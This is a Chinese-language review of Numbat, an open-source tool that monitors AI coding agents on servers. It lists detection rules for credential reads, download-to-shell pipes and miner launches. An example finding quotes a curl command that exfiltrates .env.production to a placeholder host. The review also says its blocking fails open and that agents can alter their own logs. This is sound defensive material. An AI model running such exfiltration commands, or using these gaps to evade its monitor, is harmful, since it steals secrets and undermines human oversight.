Numbat 監看 AI agent 在伺服器上的操作

Numbat 是什麼

Numbat 可讓你掌握 AI agent 在你擁有的機器上執行的操作。它會讀取 coding agent 已產生的 hook callback 與 session 檔案，將這些資料正規化為單一事件格式，再與規則比對。規則可針對讀取 SSH private key，或直接將下載內容透過 pipe 傳給 shell 等行為觸發。Perplexity 以 Apache 2.0 授權將 Numbat 釋出為 open source，第一個標記版本於 29 July 2026 發布。

以下內容均來自該專案的 repository 與官方文件，閱讀日期為 2 August 2026。凡是 Perplexity 提出的主張，本文都會明確標示。這不是安裝教學，因為該 repository 建立至今只有幾天，相關指令仍可能變更。

問題在於：沒有人記錄 agent 做了什麼

VPS 上的 coding agent 會以你交給它的使用者身分執行 shell 指令、讀取檔案、寫入檔案及建立網路連線。Shell history 不會記錄這些操作，因為 agent 並不是在你的 shell 中輸入指令。sshd 只會記錄你的登入行為，不會記錄模型之後決定執行的操作。除非有程式存取 sudo，否則 /var/log/auth.log 不會留下記錄。Agent 會保留自己的工作記錄，但該檔案位於 agent 的工作階段目錄中，格式可能隨版本變更，而且 agent 自己的程序也能寫入該檔案。

因此，當有人詢問 agent 是否在上週二讀取了 .env.production 時，多數伺服器能給出的誠實答案是：無法確認。這項記錄缺口正是本專案存在的原因。

Perplexity 聲稱 Numbat 的功能

README 開頭將此工具描述為「提供 AI 代理活動的端點可見性，具備本機偵測、可選的動作前封鎖，以及鑑識重建功能」。這裡的端點是指代理執行所在的機器，不是從外部監看流量的網路設備。這些是不同的功能，重要性也各不相同。

偵測在裝置本機執行。規則使用 CEL（common expression language）撰寫，並在本機評估；此外還支援多步驟序列規則，以及以 YAML 撰寫自訂規則。規則觸發時，不需要將任何資料傳出機器。

封鎖功能是可選且範圍有限。它只能透過同步的動作前 hook 運作，而且只適用於提供這類 hook 的代理。啟用前，這項功能預設為關閉。

重建功能在事後執行。numbat scan 會解析代理已寫入磁碟的工作階段成品，因此可以檢視安裝任何工具之前的活動。專案也明確界定這項功能的範圍：「靜態資料重建不是磁碟或記憶體擷取，無法復原代理未持久化的活動。」

輸出格式為具版本資訊的 NDJSON（以換行分隔的 JSON），涵蓋事件、發現項目、強制執行決策、指標及掃描摘要；截至 v0.1.2，結構描述版本為 0.2.0。記錄會寫入 stdout 或本機檔案，也可選擇透過 HTTP 傳送至自行執行的收集器。此工具以未使用 cgo 的靜態 Go binary 形式提供，支援 amd64 和 arm64 架構上的 macOS、Linux 及 Windows。因此，在 Linux VPS 上只需使用單一檔案，不必先安裝 runtime。

Numbat 實際上能查看哪些 agent？

docs/agent-coverage.md 中的涵蓋矩陣是權威清單，但各 agent 的支援程度不一。專案明確說明了這點，沒有刻意隱藏限制。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 同時支援 artifact 掃描，以及透過 pre-action hook 進行即時擷取。OpenClaw 則從版本 2026.7.1 起提供原生 plugin。

有許多項目標記為 deferred，表示已有 live hook 路徑，但尚未提供 artifact parser。常見原因是該 agent 將歷史記錄儲存在 SQLite，並使用 write-ahead log；agent 執行期間不適合讀取這類資料。在 2026 年 8 月 2 日讀取矩陣時，OpenCode 和 Cline 也屬於這一組。

在規劃使用這項工具之前，請先查看自己所用 agent 的列。因為幾乎每一列的「支援」都有不同含義。

偵測結果的樣貌

規則會使用 id，說明各自的用途。secrets.read_private_key 涵蓋 SSH key、AWS credentials、kube config 或套件 registry 登入資訊。當 curl 或 wget 的輸出透過 pipe 傳給 interpreter 時，exec.download_pipe_shell 會觸發。privilege.elevated_shell 會偵測透過 sudo、doas、su 或 pkexec 要求互動式 root shell 的行為。impact.cryptomining_launch 會比對已知的 miner binary 與 image name。

Sequence rule 會比對同一個工作階段中的事件。chain.secret_read_then_egress 需要先讀取 secret file，再執行攜帶資料向外傳送的命令。README 提供了下方的 finding；這是從兩個 Claude Code pre-action callback 進行受控重播取得的結果，不是來自即時事件。以下只保留重要欄位：

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

請注意記錄中出現的 "confidence": "medium"，以及專案對這整類輸出的說明：「Findings are rule matches, not proof of compromise.」部署 script 讀取 key 後上傳 build artifact，也會符合相同的 sequence rule。這個比對結果是正確的，但警報判定是誤報；這正是所有你曾執行過的偵測工具通常會出現的狀態。

預設不會阻擋，發生錯誤時會放行

Numbat 發布的每條規則都只會監控。若要將規則改為阻擋，必須明確執行相關工作：將規則完整的 YAML 複製到自己的目錄、保留相同的 id、加入 enforce: true、提高版本，然後驗證並安裝該政策。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

接著要判斷你應該在多大程度上信任它。Numbat 的 deny 是回傳給 agent 的回應，而真正拒絕工具呼叫的是 agent。執行強制指南明確說明 Numbat 本身發生問題時的行為：「格式錯誤的 payload、相關評估錯誤、panic 及輸出失敗，都會抑制 numbat deny。」Hook 輸入上限為 4 MiB，超過大小限制的輸入也會走相同流程。

該指南也明確說明成功送出的 deny 有何限制：「Fail-open 表示 numbat 不提供 deny 回應。這不保證工具一定會執行：主機仍可能提示、拒絕、逾時，或套用其他 hook 或政策。」

因此，這裡的強制執行是防護措施，不是安全邊界。如果程序當機，Numbat 不會阻擋該動作，因為每逢異常就凍結 agent 的監控工具，通常不到一週就會被移除。這項取捨是合理的。但不要建立一套假設 deny 一定會送達的安全模型。

Numbat 與現有作法的搭配方式

Numbat 會在端點上執行，位於 agent 自己的 process tree 中，並預設寫入 ~/.numbat/records.ndjson。以你的使用者身分執行的 agent 可以讀取該檔案，也可以修改它。稽核軌跡的價值，完全取決於周邊的隔離程度。因此，你現有的每項控制措施都應該位於這項機制之前，而不是依賴它事後處理。

為 coding agent 提供一次性 VM 可限制惡意執行所能存取的範圍。在 VPS 上使用最小權限使用者 可避免 agent 開啟不應存取的檔案。避免將認證資訊放入 agent 的 context，才能讓 secrets.read_private_key 事件少到值得在觸發時仔細查看。至於 在 VPS 上為 Claude Code 設定的 sandbox，仍然是負責隔離的機制。

Numbat 新增的是記錄功能，因此應將記錄傳送到 agent 無法存取的位置。numbat ship 和 HTTP sink 就是為此而設。將串流複本保存在另一台機器上，是 log file 與證據之間的差異。事件模型也包含 MCP (model context protocol) 欄位，因此透過 你在 VPS 上託管的 MCP server 發出的工具呼叫，會與本機 shell 命令進入同一個串流。這一點很重要，因為只監看 bash 的機制看不到這條路徑。

先以唯讀模式執行

安裝固定版本。go install 需要 Go 1.26.5 或更新版本。如果不想從原始碼建置，releases 頁面提供預先建置的二進位檔及 SHA-256 checksums。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents 會尋找已安裝在此主機上的 agents。numbat scan 會解析磁碟上現有的工作階段 artifacts，並列印 records。README 說明，這些命令「不會安裝 hooks，也不會變更 agent 設定」；numbat「絕不會執行 artifacts 中找到的 agents 或命令，且只會向已設定的 HTTP sinks 發出 outbound requests」。掃描採唯讀模式，並會遮蔽 secrets；一般 record 輸出不會包含完整的原始 transcript。

下一步是即時擷取，但這會變更 agent 設定：

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all 會將 events、findings、indicators 及適用的 enforcement decisions 寫入 ~/.numbat/records.ndjson。專案明確提出兩項注意事項。Hooks 可能必須先在 agent 內設為 trusted，才會實際執行；變更 --enforce 等 flags 後，也必須重新檢視這項 trust。hook status 會「驗證設定，而非執行或傳遞」，因此，狀態列顯示正常，不代表 records 確實已傳送到任何位置。

為何這麼新的 repository 不應列為相依項目

公開發布版本為 2026 年 7 月 29 日的 v0.1.1，以及 2026 年 8 月 1 日的 v0.1.2。本文於 2026 年 8 月 2 日撰寫時，該 repository 已有 597 個 stars。成長速度這麼快，反映的是 Perplexity 的受眾規模，而不是程式碼經得起長期使用的程度。star 代表有人儲存該頁面，之後再回來查看。

版本號碼如實反映了它目前所處的階段。v0.1.2 的變更說明主要是憑證遮蔽修正，以及 case bundle 和 telemetry 正規化工作。對於一個必須安全讀取其他程式逐字記錄的工具而言，遮蔽錯誤正是早期缺陷的常見形式。這類問題還會持續出現，因為輸入來自十幾個 agent，而每個 agent 都會依照自己的時程變更格式。

因此有兩項實務規則。對任何要保留的內容都應固定使用 tag，絕不要使用 @latest。此外，至少在 record schema 不再變動前，應將它視為正在評估的工具，而不是可依賴的控制元件。

FAQ

Numbat 會封鎖危險的 AI agent 指令嗎？

只有在您選擇啟用時才會，而且僅能依最佳努力原則運作。Numbat 隨附的每條規則都只會監控。若要進行封鎖，請將規則的 YAML 複製到您自己的目錄、保留其 id、加入 enforce: true、提高版本號，並使用 --enforce 安裝 hook。即使如此，拒絕結果仍是回傳給 agent 的回應，實際拒絕呼叫的是 agent。專案文件說明其採用 fail-open 行為：格式錯誤的 payload、評估錯誤、panic 與輸出錯誤都會抑制拒絕動作。請將它視為防護措施，不要把它當成唯一的安全邊界。

Numbat 支援哪些 AI agent？

支援範圍依 agent 而異，並列於 repository 的 docs/agent-coverage.md。截至 2026 年 8 月 2 日查閱該頁面時，Claude Code、Codex、Gemini CLI、Cursor 與 GitHub Copilot CLI 都支援 artifact scanning 與 live capture；OpenClaw 則從版本 2026.7.1 起提供原生 plugin。許多其他 agent 雖列有 live hook path，但尚未提供 artifact parser，通常是因為其工作階段歷程儲存在 SQLite database 中，而 agent 執行期間讀取該資料庫並不安全。請查看與您 agent 對應的列，因為其中的「支援」涵蓋數種不同層級。

Agent 能竄改 Numbat 的記錄嗎？

可以，前提是它以相同使用者身分執行。記錄預設儲存在與 agent 相同機器上的 ~/.numbat/records.ndjson，因此任何具備該路徑寫入權限的程式都能修改或刪除記錄。請使用 numbat ship 或 HTTP sink，將串流傳送到 agent 無法存取的 collector，並保留本機檔案作為便利副本。這也是此工具只能補足 isolation、不能取代 isolation 的原因。若 agent 受到 least privilege 使用者控制的 disposable VM 隔離，其能接觸自身稽核軌跡的範圍會小得多。

Numbat 已準備好用於 production server 嗎？

不適合將它作為所依賴的控制措施。第一個公開版本是 2026 年 7 月 29 日發布的 v0.1.1，v0.1.2 隨後於 2026 年 8 月 1 日發布，因此 flags 與記錄 schema 都仍在變動。在伺服器上執行 numbat agents 與 numbat scan 屬於唯讀且低風險的操作，可用來確認 agent 在磁碟上留下了哪些內容。在重要伺服器上安裝 enforcement hooks 則是另一項決策；您應固定使用特定 tag，並規劃 hook 發生異常時的處理方式。